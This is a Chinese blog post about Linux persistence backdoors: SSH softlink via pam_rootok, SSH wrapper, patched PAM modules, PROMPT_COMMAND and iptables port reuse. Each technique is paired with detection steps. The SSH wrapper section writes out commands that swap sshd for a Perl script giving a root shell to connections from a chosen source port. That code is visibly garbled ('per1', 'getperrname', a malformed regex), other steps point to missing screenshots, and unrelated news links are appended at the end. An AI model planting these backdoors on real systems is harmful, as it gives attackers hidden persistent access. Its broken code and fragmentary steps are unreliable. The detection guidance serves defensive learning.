当前位置: 首页 > news >正文

Linux主机持久化技术

1.SSH软连接后门

SSH服务允许通过PAM进行认证,关键文件:sshd_config;确保UserPAM的值为YES 我们可以看一下/etc/ssh/sshd_config的配置,ssh是客户端配置,sshd是服务端配置

如上可以知道这个是允许PAM认证的 在linux中存在模块pam_rootok.so,该模块允许uid为0的用户可以直接通过认证而不需要输入正缺的用户名和密码,就是说root不需要正确用户名和密码就可以登录 PAM模块使用/etc/pam.d下的文件来管理程序的认证方式,党对应程序的文件中调用了pam_rootok.so时,该程序可以用来生成pam后门

排查文件中是否存在pam_rootok这个模块

这四个都可以用来生成软连接后门的 例如,创建软连接,指向一个usr/sbin/sshd的文件软连接,名称/tmp/su;执行软连接文件,开启12345端口的监听

然后我们查看tmp目录就可以看到这个软连接了,权限是777

利用软连接后门,使用ssh登录时,指定端口为12345,输入任意密码即可登录

2.排查操作 当攻击者正在连接的时候,我们可以通过netstat -anptu查看网络连接判断后门

通过ps -ef来排查

检查登录日志,ubuntu的系统登录日志为auth.log,centos为secure

正常的ssh登录是ssh session。而这个确是su sessioin说明是有问题的

软链接后门的条件是开启啦pam_rootok模块

2.SSH Wrapper后门

原理是:创建SSH Wrapper后门,sshd fork出一个子进程,输入输出重定向到套接字,并对连过来的客户端口进行判断

cd /usr/sbin/
mv sshd ../bin/
echo "#!/usr/bin/per1">sshd
echo 'exec "/bin/sh" if(getperrname(STDIN)=~/^..4A);'>>sshd   //..4A是一个13377编码的端口号
echo 'exec{"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,'>>sshd
chmod u+x sshd
/etc/init.d/sshd restart
使用socat远程连接
socat STDIO TCP4:10.20.125.57:22,sourceport=13377
端口指定方法
import struct
print  repr(struct.pack('>I6',13377))

为什么要从/usr/sbin移动到bin呢,因为linux在执行程序的时候会按照echo $PATH输出的顺序进行查找,然后首先查找的应该是bin而不是sbin

排查方式,which sshd 然后cat sshd
stat sshd netstat -antpu 特点是从日志中无法看到相应的内容

3.PAM后门

PAM是由sun提出的一种认证机制,它通过提供一些动态链接库和一套统一的API,将系统提供的服务和该服务的认证方式分开,使得系统管理员可以灵活的根据需要给不通的服务配置不通的认证方式而无需更改服务程序,同时也便于向系统中添加新的认证手段 实际上就是承担了服务和应用程序之间的一个接口

pam模块,在/etc/pam.d下,与服务名称相对应的文件即为该服务的pam验证文件,比如sshd为sshd服务的验证规则

在/lib/security下,为pam会调用的模块,pam后门通常是对pam_unix.so模块进行利用,该模块的auth类型为提示用户输入密码,并与/etc/shadow文件相对比,匹配返回0(PAM_SUCCESS) dpkg -s libpam-modules | grep -i version //ubunt&debain查看pam版本 rpm -qa | grep pam //查看centos的pam版本

下载对应的源码包

进入对应的路径下,添加或修改代码

之后需要进行编译,在ubuntu中需要安装两个依赖

排查: 1.检查pam.so文件的时间 2.使用IDA进行分析,查看类似密码的痕迹 3.排查文件的内容

4.bash的PROMPT_COMMAND

在Linux中,bash提供了一个环境变量PROMPT_COMMAND,这个环境变量的内容会在每条shell中的命令执行结束后,下一个shell返回前执行,通常情况下,运维人员会用该环境变量来记录每个用户执行命令的时间,IP等信息 在攻击者的工作中,则可以利用该环境变量的特性,进行权限维持 第一个是一次性,第二个是持久化的,第二个写入到/etc/profile中即可实现

连接方式可以通过nc进行连接 排查可以通过echo $PATH或者检查/etc/profile和.bash_profile的内容 通过netstat -anput可以看到有一个对外连接是python的,这个就是后门,0.0.0.0是对外任意ip地址都可以连接,是模糊匹配

5.iptables的端口服用

iptables实现对数据包的过滤和nat转换功能,底层基于Netfilter实现,netfilter是出于内核空间,由信息包过滤表组成,而iptables是处于用户空间,实现对信息包过滤表中规则的插入,删除和修改

netfilter在ring0级别,CPU运行的最高级别,iptables在ring3级别CPU最低级别

iptables由表,链,规则组成

iptabels的5中表
filter表      用于过滤
nat表         地址转换,改变数据包的源地址或目标地址
mangle表      修改ip包的头部信息
raw表         不经过状态追踪机制,通常是为了不让iptables做数据包的链跟踪处理,提高性能
security表     在数据包中加入SElinux功能

相关文章:

  • 日常学习开发记录-input组件
  • 数据库设计实验(3)—— 分离与附加、还原与备份
  • 【Java面试场景题搜集总结】
  • Redis和MongoDB的区别
  • 【数学建模】熵权法
  • maven插件不能正确解析
  • 八、JavaScript函数
  • NAT技术-初级总结
  • MySQL :参数修改
  • springboot请求响应
  • 设计一个高性能的分布式限流系统
  • Redis的消息队列是怎么实现的
  • HarmonyOS开发,深拷贝、浅拷贝的封装和调用
  • Spring Boot 核心知识点:依赖注入 (Dependency Injection)
  • 智慧社区2.0
  • C# 中常见 JSON 处理库的优缺点对比
  • 【设计模式】3W 学习法深入剖析创建型模式:原理、实战与开源框架应用(含 Java 代码)
  • 条款43:学习处理模板化基类内的名称
  • 提示deepseek生成完整的json用于对接外部API
  • 【Film】MovieAgent:自动化电影生成通过多智能体CoT规划
  • 浙江省委金融办原副主任潘广恩被“双开”
  • 刘小涛任江苏省委副书记
  • 网易有道一季度净利润同比增长247%:有能力在今年实现更强劲的利润增长
  • 人民日报整版聚焦:外贸产品拓内销提速增量,多地加快推动内外贸一体化
  • 联合国报告:全球经济前景恶化,面临高度不确定性
  • 被前男友泼汽油致残后,一个女孩经历的双重灼烧